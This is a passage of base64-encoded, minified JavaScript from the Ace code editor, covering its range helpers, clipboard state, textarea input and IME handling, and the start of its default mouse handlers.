vaW50cyhyfHx0aGlzLnN0YXJ0LG58fHRoaXMuZW5kKX0sdGhpcy5leHRlbmQ9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmNvbXBhcmUoZSx0KTtpZihuPT0wKXJldHVybiB0aGlzO2lmKG49PS0xKXZhciByPXtyb3c6ZSxjb2x1bW46dH07ZWxzZSB2YXIgcz17cm93OmUsY29sdW1uOnR9O3JldHVybiBpLmZyb21Qb2ludHMocnx8dGhpcy5zdGFydCxzfHx0aGlzLmVuZCl9LHRoaXMuaXNFbXB0eT1mdW5jdGlvbigpe3JldHVybiB0aGlzLnN0YXJ0LnJvdz09PXRoaXMuZW5kLnJvdyYmdGhpcy5zdGFydC5jb2x1bW49PT10aGlzLmVuZC5jb2x1bW59LHRoaXMuaXNNdWx0aUxpbmU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zdGFydC5yb3chPT10aGlzLmVuZC5yb3d9LHRoaXMuY2xvbmU9ZnVuY3Rpb24oKXtyZXR1cm4gaS5mcm9tUG9pbnRzKHRoaXMuc3RhcnQsdGhpcy5lbmQpfSx0aGlzLmNvbGxhcHNlUm93cz1mdW5jdGlvbigpe3JldHVybiB0aGlzLmVuZC5jb2x1bW49PTA/bmV3IGkodGhpcy5zdGFydC5yb3csMCxNYXRoLm1heCh0aGlzLnN0YXJ0LnJvdyx0aGlzLmVuZC5yb3ctMSksMCk6bmV3IGkodGhpcy5zdGFydC5yb3csMCx0aGlzLmVuZC5yb3csMCl9LHRoaXMudG9TY3JlZW5SYW5nZT1mdW5jdGlvbihlKXt2YXIgdD1lLmRvY3VtZW50VG9TY3JlZW5Qb3NpdGlvbih0aGlzLnN0YXJ0KSxuPWUuZG9jdW1lbnRUb1NjcmVlblBvc2l0aW9uKHRoaXMuZW5kKTtyZXR1cm4gbmV3IGkodC5yb3csdC5jb2x1bW4sbi5yb3csbi5jb2x1bW4pfSx0aGlzLm1vdmVCeT1mdW5jdGlvbihlLHQpe3RoaXMuc3RhcnQucm93Kz1lLHRoaXMuc3RhcnQuY29sdW1uKz10LHRoaXMuZW5kLnJvdys9ZSx0aGlzLmVuZC5jb2x1bW4rPXR9fSkuY2FsbChpLnByb3RvdHlwZSksaS5mcm9tUG9pbnRzPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIG5ldyBpKGUucm93LGUuY29sdW1uLHQucm93LHQuY29sdW1uKX0saS5jb21wYXJlUG9pbnRzPXIsaS5jb21wYXJlUG9pbnRzPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUucm93LXQucm93fHxlLmNvbHVtbi10LmNvbHVtbn0sdC5SYW5nZT1pfSksZGVmaW5lKCJhY2UvY2xpcGJvYXJkIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcjtuLmV4cG9ydHM9e2xpbmVNb2RlOiExLHBhc3RlQ2FuY2VsbGVkOmZ1bmN0aW9uKCl7cmV0dXJuIHImJnI+RGF0ZS5ub3coKS01MD8hMDpyPSExfSxjYW5jZWw6ZnVuY3Rpb24oKXtyPURhdGUubm93KCl9fX0pLGRlZmluZSgiYWNlL2tleWJvYXJkL3RleHRpbnB1dCIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvZXZlbnQiLCJhY2UvbGliL3VzZXJhZ2VudCIsImFjZS9saWIvZG9tIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2NsaXBib2FyZCIsImFjZS9saWIva2V5cyJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi4vbGliL2V2ZW50IiksaT1lKCIuLi9saWIvdXNlcmFnZW50Iikscz1lKCIuLi9saWIvZG9tIiksbz1lKCIuLi9saWIvbGFuZyIpLHU9ZSgiLi4vY2xpcGJvYXJkIiksYT1pLmlzQ2hyb21lPDE4LGY9aS5pc0lFLGw9aS5pc0Nocm9tZT42MyxjPTQwMCxoPWUoIi4uL2xpYi9rZXlzIikscD1oLktFWV9NT0RTLGQ9aS5pc0lPUyx2PWQ/L1xzLzovXG4vLG09aS5pc01vYmlsZSxnPWZ1bmN0aW9uKGUsdCl7ZnVuY3Rpb24gWCgpe3g9ITAsbi5ibHVyKCksbi5mb2N1cygpLHg9ITF9ZnVuY3Rpb24gJChlKXtlLmtleUNvZGU9PTI3JiZuLnZhbHVlLmxlbmd0aDxuLnNlbGVjdGlvblN0YXJ0JiYoYnx8KFQ9bi52YWx1ZSksTj1DPS0xLE8oKSksVigpfWZ1bmN0aW9uIEsoKXtjbGVhclRpbWVvdXQoSiksSj1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7RSYmKG4uc3R5bGUuY3NzVGV4dD1FLEU9IiIpLHQucmVuZGVyZXIuJGlzTW91c2VQcmVzc2VkPSExLHQucmVuZGVyZXIuJGtlZXBUZXh0QXJlYUF0Q3Vyc29yJiZ0LnJlbmRlcmVyLiRtb3ZlVGV4dEFyZWFUb0N1cnNvcigpfSwwKX1mdW5jdGlvbiBHKGUsdCxuKXt2YXIgcj1udWxsLGk9ITE7bi5hZGRFdmVudExpc3RlbmVyKCJrZXlkb3duIixmdW5jdGlvbihlKXtyJiZjbGVhclRpbWVvdXQociksaT0hMH0sITApLG4uYWRkRXZlbnRMaXN0ZW5lcigia2V5dXAiLGZ1bmN0aW9uKGUpe3I9c2V0VGltZW91dChmdW5jdGlvbigpe2k9ITF9LDEwMCl9LCEwKTt2YXIgcz1mdW5jdGlvbihlKXtpZihkb2N1bWVudC5hY3RpdmVFbGVtZW50IT09bilyZXR1cm47aWYoaXx8Ynx8dC4kbW91c2VIYW5kbGVyLmlzTW91c2VQcmVzc2VkKXJldHVybjtpZihnKXJldHVybjt2YXIgcj1uLnNlbGVjdGlvblN0YXJ0LHM9bi5zZWxlY3Rpb25FbmQsbz1udWxsLHU9MDtpZihyPT0wKW89aC51cDtlbHNlIGlmKHI9PTEpbz1oLmhvbWU7ZWxzZSBpZihzPkMmJlRbc109PSJcbiIpbz1oLmVuZDtlbHNlIGlmKHI8TiYmVFtyLTFdPT0iICIpbz1oLmxlZnQsdT1wLm9wdGlvbjtlbHNlIGlmKHI8Tnx8cj09TiYmQyE9TiYmcj09cylvPWgubGVmdDtlbHNlIGlmKHM+QyYmVC5zbGljZSgwLHMpLnNwbGl0KCJcbiIpLmxlbmd0aD4yKW89aC5kb3duO2Vsc2UgaWYocz5DJiZUW3MtMV09PSIgIilvPWgucmlnaHQsdT1wLm9wdGlvbjtlbHNlIGlmKHM+Q3x8cz09QyYmQyE9TiYmcj09cylvPWgucmlnaHQ7ciE9PXMmJih1fD1wLnNoaWZ0KTtpZihvKXt2YXIgYT10Lm9uQ29tbWFuZEtleSh7fSx1LG8pO2lmKCFhJiZ0LmNvbW1hbmRzKXtvPWgua2V5Q29kZVRvU3RyaW5nKG8pO3ZhciBmPXQuY29tbWFuZHMuZmluZEtleUNvbW1hbmQodSxvKTtmJiZ0LmV4ZWNDb21tYW5kKGYpfU49cixDPXMsTygiIil9fTtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJzZWxlY3Rpb25jaGFuZ2UiLHMpLHQub24oImRlc3Ryb3kiLGZ1bmN0aW9uKCl7ZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcigic2VsZWN0aW9uY2hhbmdlIixzKX0pfXZhciBuPXMuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTtuLmNsYXNzTmFtZT0iYWNlX3RleHQtaW5wdXQiLG4uc2V0QXR0cmlidXRlKCJ3cmFwIiwib2ZmIiksbi5zZXRBdHRyaWJ1dGUoImF1dG9jb3JyZWN0Iiwib2ZmIiksbi5zZXRBdHRyaWJ1dGUoImF1dG9jYXBpdGFsaXplIiwib2ZmIiksbi5zZXRBdHRyaWJ1dGUoInNwZWxsY2hlY2siLCExKSxuLnN0eWxlLm9wYWNpdHk9IjAiLGUuaW5zZXJ0QmVmb3JlKG4sZS5maXJzdENoaWxkKTt2YXIgZz0hMSx5PSExLGI9ITEsdz0hMSxFPSIiO218fChuLnN0eWxlLmZvbnRTaXplPSIxcHgiKTt2YXIgUz0hMSx4PSExLFQ9IiIsTj0wLEM9MCxrPTA7dHJ5e3ZhciBMPWRvY3VtZW50LmFjdGl2ZUVsZW1lbnQ9PT1ufWNhdGNoKEEpe31yLmFkZExpc3RlbmVyKG4sImJsdXIiLGZ1bmN0aW9uKGUpe2lmKHgpcmV0dXJuO3Qub25CbHVyKGUpLEw9ITF9LHQpLHIuYWRkTGlzdGVuZXIobiwiZm9jdXMiLGZ1bmN0aW9uKGUpe2lmKHgpcmV0dXJuO0w9ITA7aWYoaS5pc0VkZ2UpdHJ5e2lmKCFkb2N1bWVudC5oYXNGb2N1cygpKXJldHVybn1jYXRjaChlKXt9dC5vbkZvY3VzKGUpLGkuaXNFZGdlP3NldFRpbWVvdXQoTyk6TygpfSx0KSx0aGlzLiRmb2N1c1Njcm9sbD0hMSx0aGlzLmZvY3VzPWZ1bmN0aW9uKCl7aWYoRXx8bHx8dGhpcy4kZm9jdXNTY3JvbGw9PSJicm93c2VyIilyZXR1cm4gbi5mb2N1cyh7cHJldmVudFNjcm9sbDohMH0pO3ZhciBlPW4uc3R5bGUudG9wO24uc3R5bGUucG9zaXRpb249ImZpeGVkIixuLnN0eWxlLnRvcD0iMHB4Ijt0cnl7dmFyIHQ9bi5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKS50b3AhPTB9Y2F0Y2gocil7cmV0dXJufXZhciBpPVtdO2lmKHQpe3ZhciBzPW4ucGFyZW50RWxlbWVudDt3aGlsZShzJiZzLm5vZGVUeXBlPT0xKWkucHVzaChzKSxzLnNldEF0dHJpYnV0ZSgiYWNlX25vY29udGV4dCIsITApLCFzLnBhcmVudEVsZW1lbnQmJnMuZ2V0Um9vdE5vZGU/cz1zLmdldFJvb3ROb2RlKCkuaG9zdDpzPXMucGFyZW50RWxlbWVudH1uLmZvY3VzKHtwcmV2ZW50U2Nyb2xsOiEwfSksdCYmaS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlQXR0cmlidXRlKCJhY2Vfbm9jb250ZXh0Iil9KSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7bi5zdHlsZS5wb3NpdGlvbj0iIixuLnN0eWxlLnRvcD09IjBweCImJihuLnN0eWxlLnRvcD1lKX0sMCl9LHRoaXMuYmx1cj1mdW5jdGlvbigpe24uYmx1cigpfSx0aGlzLmlzRm9jdXNlZD1mdW5jdGlvbigpe3JldHVybiBMfSx0Lm9uKCJiZWZvcmVFbmRPcGVyYXRpb24iLGZ1bmN0aW9uKCl7dmFyIGU9dC5jdXJPcCxyPWUmJmUuY29tbWFuZCYmZS5jb21tYW5kLm5hbWU7aWYocj09Imluc2VydHN0cmluZyIpcmV0dXJuO3ZhciBpPXImJihlLmRvY0NoYW5nZWR8fGUuc2VsZWN0aW9uQ2hhbmdlZCk7YiYmaSYmKFQ9bi52YWx1ZT0iIixXKCkpLE8oKX0pO3ZhciBPPWQ/ZnVuY3Rpb24oZSl7aWYoIUx8fGcmJiFlfHx3KXJldHVybjtlfHwoZT0iIik7dmFyIHI9IlxuIGFiIitlKyJjZGUgZmdcbiI7ciE9bi52YWx1ZSYmKG4udmFsdWU9VD1yKTt2YXIgaT00LHM9NCsoZS5sZW5ndGh8fCh0LnNlbGVjdGlvbi5pc0VtcHR5KCk/MDoxKSk7KE4hPWl8fEMhPXMpJiZuLnNldFNlbGVjdGlvblJhbmdlKGkscyksTj1pLEM9c306ZnVuY3Rpb24oKXtpZihifHx3KXJldHVybjtpZighTCYmIVApcmV0dXJuO2I9ITA7dmFyIGU9MCxyPTAsaT0iIjtpZih0LnNlc3Npb24pe3ZhciBzPXQuc2VsZWN0aW9uLG89cy5nZXRSYW5nZSgpLHU9cy5jdXJzb3Iucm93O2U9by5zdGFydC5jb2x1bW4scj1vLmVuZC5jb2x1bW4saT10LnNlc3Npb24uZ2V0TGluZSh1KTtpZihvLnN0YXJ0LnJvdyE9dSl7dmFyIGE9dC5zZXNzaW9uLmdldExpbmUodS0xKTtlPW8uc3RhcnQucm93PHUtMT8wOmUscis9YS5sZW5ndGgrMSxpPWErIlxuIitpfWVsc2UgaWYoby5lbmQucm93IT11KXt2YXIgZj10LnNlc3Npb24uZ2V0TGluZSh1KzEpO3I9by5lbmQucm93PnUrMT9mLmxlbmd0aDpyLHIrPWkubGVuZ3RoKzEsaT1pKyJcbiIrZn1lbHNlIG0mJnU+MCYmKGk9IlxuIitpLHIrPTEsZSs9MSk7aS5sZW5ndGg+YyYmKGU8YyYmcjxjP2k9aS5zbGljZSgwLGMpOihpPSJcbiIsZT09cj9lPXI9MDooZT0wLHI9MSkpKX12YXIgbD1pKyJcblxuIjtsIT1UJiYobi52YWx1ZT1UPWwsTj1DPWwubGVuZ3RoKSxQJiYoTj1uLnNlbGVjdGlvblN0YXJ0LEM9bi5zZWxlY3Rpb25FbmQpO2lmKEMhPXJ8fE4hPWV8fG4uc2VsZWN0aW9uRW5kIT1DKXRyeXtuLnNldFNlbGVjdGlvblJhbmdlKGUsciksTj1lLEM9cn1jYXRjaChoKXt9Yj0hMX07dGhpcy5yZXNldFNlbGVjdGlvbj1PLEwmJnQub25Gb2N1cygpO3ZhciBNPWZ1bmN0aW9uKGUpe3JldHVybiBlLnNlbGVjdGlvblN0YXJ0PT09MCYmZS5zZWxlY3Rpb25FbmQ+PVQubGVuZ3RoJiZlLnZhbHVlPT09VCYmVCYmZS5zZWxlY3Rpb25FbmQhPT1DfSxfPWZ1bmN0aW9uKGUpe2lmKGIpcmV0dXJuO2c/Zz0hMTpNKG4pPyh0LnNlbGVjdEFsbCgpLE8oKSk6bSYmbi5zZWxlY3Rpb25TdGFydCE9TiYmTygpfSxEPW51bGw7dGhpcy5zZXRJbnB1dEhhbmRsZXI9ZnVuY3Rpb24oZSl7RD1lfSx0aGlzLmdldElucHV0SGFuZGxlcj1mdW5jdGlvbigpe3JldHVybiBEfTt2YXIgUD0hMSxIPWZ1bmN0aW9uKGUscil7UCYmKFA9ITEpO2lmKHkpcmV0dXJuIE8oKSxlJiZ0Lm9uUGFzdGUoZSkseT0hMSwiIjt2YXIgcz1uLnNlbGVjdGlvblN0YXJ0LG89bi5zZWxlY3Rpb25FbmQsdT1OLGE9VC5sZW5ndGgtQyxmPWUsbD1lLmxlbmd0aC1zLGM9ZS5sZW5ndGgtbyxoPTA7d2hpbGUodT4wJiZUW2hdPT1lW2hdKWgrKyx1LS07Zj1mLnNsaWNlKGgpLGg9MTt3aGlsZShhPjAmJlQubGVuZ3RoLWg+Ti0xJiZUW1QubGVuZ3RoLWhdPT1lW2UubGVuZ3RoLWhdKWgrKyxhLS07bC09aC0xLGMtPWgtMTt2YXIgcD1mLmxlbmd0aC1oKzE7cDwwJiYodT0tcCxwPTApLGY9Zi5zbGljZSgwLHApO2lmKCFyJiYhZiYmIWwmJiF1JiYhYSYmIWMpcmV0dXJuIiI7dz0hMDt2YXIgZD0hMTtyZXR1cm4gaS5pc0FuZHJvaWQmJmY9PSIuICImJihmPSIgICIsZD0hMCksZiYmIXUmJiFhJiYhbCYmIWN8fFM/dC5vblRleHRJbnB1dChmKTp0Lm9uVGV4dElucHV0KGYse2V4dGVuZExlZnQ6dSxleHRlbmRSaWdodDphLHJlc3RvcmVTdGFydDpsLHJlc3RvcmVFbmQ6Y30pLHc9ITEsVD1lLE49cyxDPW8saz1jLGQ/IlxuIjpmfSxCPWZ1bmN0aW9uKGUpe2lmKGIpcmV0dXJuIHooKTtpZihlJiZlLmlucHV0VHlwZSl7aWYoZS5pbnB1dFR5cGU9PSJoaXN0b3J5VW5kbyIpcmV0dXJuIHQuZXhlY0NvbW1hbmQoInVuZG8iKTtpZihlLmlucHV0VHlwZT09Imhpc3RvcnlSZWRvIilyZXR1cm4gdC5leGVjQ29tbWFuZCgicmVkbyIpfXZhciByPW4udmFsdWUsaT1IKHIsITApOyhyLmxlbmd0aD5jKzEwMHx8di50ZXN0KGkpfHxtJiZOPDEmJk49PUMpJiZPKCl9LGo9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPWUuY2xpcGJvYXJkRGF0YXx8d2luZG93LmNsaXBib2FyZERhdGE7aWYoIXJ8fGEpcmV0dXJuO3ZhciBpPWZ8fG4/IlRleHQiOiJ0ZXh0L3BsYWluIjt0cnl7cmV0dXJuIHQ/ci5zZXREYXRhKGksdCkhPT0hMTpyLmdldERhdGEoaSl9Y2F0Y2goZSl7aWYoIW4pcmV0dXJuIGooZSx0LCEwKX19LEY9ZnVuY3Rpb24oZSxpKXt2YXIgcz10LmdldENvcHlUZXh0KCk7aWYoIXMpcmV0dXJuIHIucHJldmVudERlZmF1bHQoZSk7aihlLHMpPyhkJiYoTyhzKSxnPXMsc2V0VGltZW91dChmdW5jdGlvbigpe2c9ITF9LDEwKSksaT90Lm9uQ3V0KCk6dC5vbkNvcHkoKSxyLnByZXZlbnREZWZhdWx0KGUpKTooZz0hMCxuLnZhbHVlPXMsbi5zZWxlY3QoKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Zz0hMSxPKCksaT90Lm9uQ3V0KCk6dC5vbkNvcHkoKX0pKX0sST1mdW5jdGlvbihlKXtGKGUsITApfSxxPWZ1bmN0aW9uKGUpe0YoZSwhMSl9LFI9ZnVuY3Rpb24oZSl7dmFyIHM9aihlKTtpZih1LnBhc3RlQ2FuY2VsbGVkKCkpcmV0dXJuO3R5cGVvZiBzPT0ic3RyaW5nIj8ocyYmdC5vblBhc3RlKHMsZSksaS5pc0lFJiZzZXRUaW1lb3V0KE8pLHIucHJldmVudERlZmF1bHQoZSkpOihuLnZhbHVlPSIiLHk9ITApfTtyLmFkZENvbW1hbmRLZXlMaXN0ZW5lcihuLHQub25Db21tYW5kS2V5LmJpbmQodCksdCksci5hZGRMaXN0ZW5lcihuLCJzZWxlY3QiLF8sdCksci5hZGRMaXN0ZW5lcihuLCJpbnB1dCIsQix0KSxyLmFkZExpc3RlbmVyKG4sImN1dCIsSSx0KSxyLmFkZExpc3RlbmVyKG4sImNvcHkiLHEsdCksci5hZGRMaXN0ZW5lcihuLCJwYXN0ZSIsUix0KSwoISgib25jdXQiaW4gbil8fCEoIm9uY29weSJpbiBuKXx8ISgib25wYXN0ZSJpbiBuKSkmJnIuYWRkTGlzdGVuZXIoZSwia2V5ZG93biIsZnVuY3Rpb24oZSl7aWYoaS5pc01hYyYmIWUubWV0YUtleXx8IWUuY3RybEtleSlyZXR1cm47c3dpdGNoKGUua2V5Q29kZSl7Y2FzZSA2NzpxKGUpO2JyZWFrO2Nhc2UgODY6UihlKTticmVhaztjYXNlIDg4OkkoZSl9fSx0KTt2YXIgVT1mdW5jdGlvbihlKXtpZihifHwhdC5vbkNvbXBvc2l0aW9uU3RhcnR8fHQuJHJlYWRPbmx5KXJldHVybjtiPXt9O2lmKFMpcmV0dXJuO2UuZGF0YSYmKGIudXNlVGV4dGFyZWFGb3JJTUU9ITEpLHNldFRpbWVvdXQoeiwwKSx0Ll9zaWduYWwoImNvbXBvc2l0aW9uU3RhcnQiKSx0Lm9uKCJtb3VzZWRvd24iLFgpO3ZhciByPXQuZ2V0U2VsZWN0aW9uUmFuZ2UoKTtyLmVuZC5yb3c9ci5zdGFydC5yb3csci5lbmQuY29sdW1uPXIuc3RhcnQuY29sdW1uLGIubWFya2VyUmFuZ2U9cixiLnNlbGVjdGlvblN0YXJ0PU4sdC5vbkNvbXBvc2l0aW9uU3RhcnQoYiksYi51c2VUZXh0YXJlYUZvcklNRT8oVD1uLnZhbHVlPSIiLE49MCxDPTApOihuLm1zR2V0SW5wdXRDb250ZXh0JiYoYi5jb250ZXh0PW4ubXNHZXRJbnB1dENvbnRleHQoKSksbi5nZXRJbnB1dENvbnRleHQmJihiLmNvbnRleHQ9bi5nZXRJbnB1dENvbnRleHQoKSkpfSx6PWZ1bmN0aW9uKCl7aWYoIWJ8fCF0Lm9uQ29tcG9zaXRpb25VcGRhdGV8fHQuJHJlYWRPbmx5KXJldHVybjtpZihTKXJldHVybiBYKCk7aWYoYi51c2VUZXh0YXJlYUZvcklNRSl0Lm9uQ29tcG9zaXRpb25VcGRhdGUobi52YWx1ZSk7ZWxzZXt2YXIgZT1uLnZhbHVlO0goZSksYi5tYXJrZXJSYW5nZSYmKGIuY29udGV4dCYmKGIubWFya2VyUmFuZ2Uuc3RhcnQuY29sdW1uPWIuc2VsZWN0aW9uU3RhcnQ9Yi5jb250ZXh0LmNvbXBvc2l0aW9uU3RhcnRPZmZzZXQpLGIubWFya2VyUmFuZ2UuZW5kLmNvbHVtbj1iLm1hcmtlclJhbmdlLnN0YXJ0LmNvbHVtbitDLWIuc2VsZWN0aW9uU3RhcnQrayl9fSxXPWZ1bmN0aW9uKGUpe2lmKCF0Lm9uQ29tcG9zaXRpb25FbmR8fHQuJHJlYWRPbmx5KXJldHVybjtiPSExLHQub25Db21wb3NpdGlvbkVuZCgpLHQub2ZmKCJtb3VzZWRvd24iLFgpLGUmJkIoKX0sVj1vLmRlbGF5ZWRDYWxsKHosNTApLnNjaGVkdWxlLmJpbmQobnVsbCxudWxsKTtyLmFkZExpc3RlbmVyKG4sImNvbXBvc2l0aW9uc3RhcnQiLFUsdCksci5hZGRMaXN0ZW5lcihuLCJjb21wb3NpdGlvbnVwZGF0ZSIseix0KSxyLmFkZExpc3RlbmVyKG4sImtleXVwIiwkLHQpLHIuYWRkTGlzdGVuZXIobiwia2V5ZG93biIsVix0KSxyLmFkZExpc3RlbmVyKG4sImNvbXBvc2l0aW9uZW5kIixXLHQpLHRoaXMuZ2V0RWxlbWVudD1mdW5jdGlvbigpe3JldHVybiBufSx0aGlzLnNldENvbW1hbmRNb2RlPWZ1bmN0aW9uKGUpe1M9ZSxuLnJlYWRPbmx5PSExfSx0aGlzLnNldFJlYWRPbmx5PWZ1bmN0aW9uKGUpe1N8fChuLnJlYWRPbmx5PWUpfSx0aGlzLnNldENvcHlXaXRoRW1wdHlTZWxlY3Rpb249ZnVuY3Rpb24oZSl7fSx0aGlzLm9uQ29udGV4dE1lbnU9ZnVuY3Rpb24oZSl7UD0hMCxPKCksdC5fZW1pdCgibmF0aXZlY29udGV4dG1lbnUiLHt0YXJnZXQ6dCxkb21FdmVudDplfSksdGhpcy5tb3ZlVG9Nb3VzZShlLCEwKX0sdGhpcy5tb3ZlVG9Nb3VzZT1mdW5jdGlvbihlLG8pe0V8fChFPW4uc3R5bGUuY3NzVGV4dCksbi5zdHlsZS5jc3NUZXh0PShvPyJ6LWluZGV4OjEwMDAwMDsiOiIiKSsoaS5pc0lFPyJvcGFjaXR5OjAuMTsiOiIiKSsidGV4dC1pbmRlbnQ6IC0iKyhOK0MpKnQucmVuZGVyZXIuY2hhcmFjdGVyV2lkdGgqLjUrInB4OyI7dmFyIHU9dC5jb250YWluZXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksYT1zLmNvbXB1dGVkU3R5bGUodC5jb250YWluZXIpLGY9dS50b3ArKHBhcnNlSW50KGEuYm9yZGVyVG9wV2lkdGgpfHwwKSxsPXUubGVmdCsocGFyc2VJbnQodS5ib3JkZXJMZWZ0V2lkdGgpfHwwKSxjPXUuYm90dG9tLWYtbi5jbGllbnRIZWlnaHQtMixoPWZ1bmN0aW9uKGUpe3MudHJhbnNsYXRlKG4sZS5jbGllbnRYLWwtMixNYXRoLm1pbihlLmNsaWVudFktZi0yLGMpKX07aChlKTtpZihlLnR5cGUhPSJtb3VzZWRvd24iKXJldHVybjt0LnJlbmRlcmVyLiRpc01vdXNlUHJlc3NlZD0hMCxjbGVhclRpbWVvdXQoSiksaS5pc1dpbiYmci5jYXB0dXJlKHQuY29udGFpbmVyLGgsSyl9LHRoaXMub25Db250ZXh0TWVudUNsb3NlPUs7dmFyIEosUT1mdW5jdGlvbihlKXt0LnRleHRJbnB1dC5vbkNvbnRleHRNZW51KGUpLEsoKX07ci5hZGRMaXN0ZW5lcihuLCJtb3VzZXVwIixRLHQpLHIuYWRkTGlzdGVuZXIobiwibW91c2Vkb3duIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksSygpfSx0KSxyLmFkZExpc3RlbmVyKHQucmVuZGVyZXIuc2Nyb2xsZXIsImNvbnRleHRtZW51IixRLHQpLHIuYWRkTGlzdGVuZXIobiwiY29udGV4dG1lbnUiLFEsdCksZCYmRyhlLHQsbiksdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7bi5wYXJlbnRFbGVtZW50JiZuLnBhcmVudEVsZW1lbnQucmVtb3ZlQ2hpbGQobil9fTt0LlRleHRJbnB1dD1nLHQuJHNldFVzZXJBZ2VudEZvclRlc3RzPWZ1bmN0aW9uKGUsdCl7bT1lLGQ9dH19KSxkZWZpbmUoImFjZS9tb3VzZS9kZWZhdWx0X2hhbmRsZXJzIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi91c2VyYWdlbnQiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIG8oZSl7ZS4kY2xpY2tTZWxlY3Rpb249bnVsbDt2YXIgdD1lLmVkaXRvcjt0LnNldERlZmF1bHRIYW5kbGVyKCJtb3VzZWRvd24iLHRoaXMub25Nb3VzZURvd24uYmluZChlKSksdC5zZXREZWZhdWx0SGFuZGxlcigiZGJsY2xpY2siLHRoaXMub25Eb3VibGVDbGljay5iaW5kKGUpKSx0LnNldERlZmF1bHRIYW5kbGVyKCJ0cmlwbGVjbGljayIsdGhpcy5vblRyaXBsZUNsaWNrLmJpbmQoZSkpLHQuc2V0RGVmYXVsdEhhbmRsZXIoInF1YWRjbGljayIsdGhpcy5vblF1YWRDbGljay5iaW5kKGUpKSx0LnNldERlZmF1bHRIYW5kbGVyKCJtb3VzZXdoZWVsIix0aGlzLm9uTW91c2VXaGVlbC5iaW5kKGUpKTt2YXIgbj1bInNlbGVjdCIsInN0YXJ0U2VsZWN0Iiwic2VsZWN0RW5kIiwic2VsZWN0QWxsRW5kIiwic2VsZWN0QnlXb3Jkc0VuZCIsInNlbGVjdEJ5TGluZXNFbmQiLCJkcmFnV2FpdCIsImRyYWdXYWl0RW5kIiwiZm9jdXNXYWl0Il07bi5mb3JFYWNoKGZ1bmN0aW9uKHQpe2VbdF09dGhpc1t0XX0sdGhpcyksZS5zZWxlY3RCeUxpbmVzPXRoaXMuZXh0ZW5kU2VsZWN0aW9uQnkuYmluZChlLCJnZXRMaW5lUmFuZ2UiKSxlLnNlbGVjdEJ5V29yZHM9dGhpcy5leHRlbmRTZWxlY3Rpb25CeS5iaW5kKGUsImdldFdvcmRSYW5nZSIpfWZ1bmN0aW9uIHUoZSx0LG4scil7cmV0dXJuIE1hdGguc3FydChNYXRoLnBvdyhuLWUsMikrTWF0aC5wb3coci10LDIpKX1mdW5jdGlvbiBhKGUsdCl7aWYoZS5zdGFydC5yb3c9PWUuZW5kLnJvdyl2YXIgbj0yKnQuY29sdW1uLWUuc3RhcnQuY29sdW1uLWUuZW5kLmNvbHVtbjtlbHNlIGlmKGUuc3RhcnQucm93PT1lLmVuZC5yb3ctMSYmIWUuc3RhcnQuY29sdW1uJiYhZS5lbmQuY29sdW1uKXZhciBuPXQuY29sdW1uLTQ7ZWxzZSB2YXIgbj0yKnQucm93LWUuc3RhcnQucm93LWUuZW5kLnJvdztyZXR1cm4gbjwwP3tjdXJzb3I6ZS5zdGFydCxhbmNob3I6ZS5lbmR9OntjdXJzb3I6ZS5lbmQsYW5jaG9yOmUuc3RhcnR9fXZhciByPWUoIi4uL2xpYi91c2VyYWdlbnQiKSxpPTAscz01NTA7KGZ1bmN0aW9uKCl7dGhpcy5vbk1vdXNlRG93bj1mdW5jdGlvbihlKXt2YXIgdD1lLmluU2VsZWN0aW9uKCksbj1lLmdldERvY3VtZW50UG9zaXRpb24oKTt0aGlzLm1vdXNlZG93bkV2ZW50PWU7dmFyIGk9dGhpcy5lZGl0b3Iscz1lLmdldEJ1dHRvbigpO2lmKHMhPT0wKXt2YXIgbz1pLmdldFNlbGVjdGlvblJhbmdlKCksdT1vLmlzRW1wdHkoKTsodXx8cz09MSkmJmkuc2VsZWN0aW9uLm1vdmVUb1Bvc2l0aW9uKG4pLHM9PTImJihpLnRleHRJbnB1dC5vbkNvbnRleHRNZW51KGUuZG9tRXZlbnQpLHIuaXNNb3ppbGxhfHxlLnByZXZlbnREZWZhdWx0KCkpO3JldHVybn10aGlzLm1vdXNlZG93bkV2ZW50LnRpbWU9RGF0ZS5ub3coKTtpZih0JiYhaS5pc0ZvY3VzZWQoKSl7aS5mb2N1cygpO2lmKHRoaXMuJGZvY3VzVGltZW91dCYmIXRoaXMuJGNsaWNrU2VsZWN0aW9uJiYhaS5pbk11bHRpU2VsZWN0TW9kZSl7dGhpcy5zZXRTdGF0ZSgiZm9jdXNXYWl0IiksdGhpcy5jYXB0dXJlTW91c2UoZSk7cmV0dXJufX1yZXR1cm4gdGhpcy5jYXB0dXJlTW91c2UoZSksdGhpcy5zdGFydFNlbGVjdChuLGUuZG9tRXZlbnQuX2NsaWNrcz4xKSxlLnByZXZlbnREZWZhdWx0KCl9LHRoaXMuc3RhcnRTZWxlY3Q9ZnVuY3Rpb24oZSx0KXtlPWV8fHRoaXMuZWRpdG9yLnJlbmRlcmVyLnNjcmVlblRvVGV4dENvb3JkaW5hdGVzKHRoaXMueCx0aGlzLnkpO3ZhciBuPXRoaXMuZWRpdG9yO2lmKCF0aGlzLm1vdXNlZG93bkV2ZW5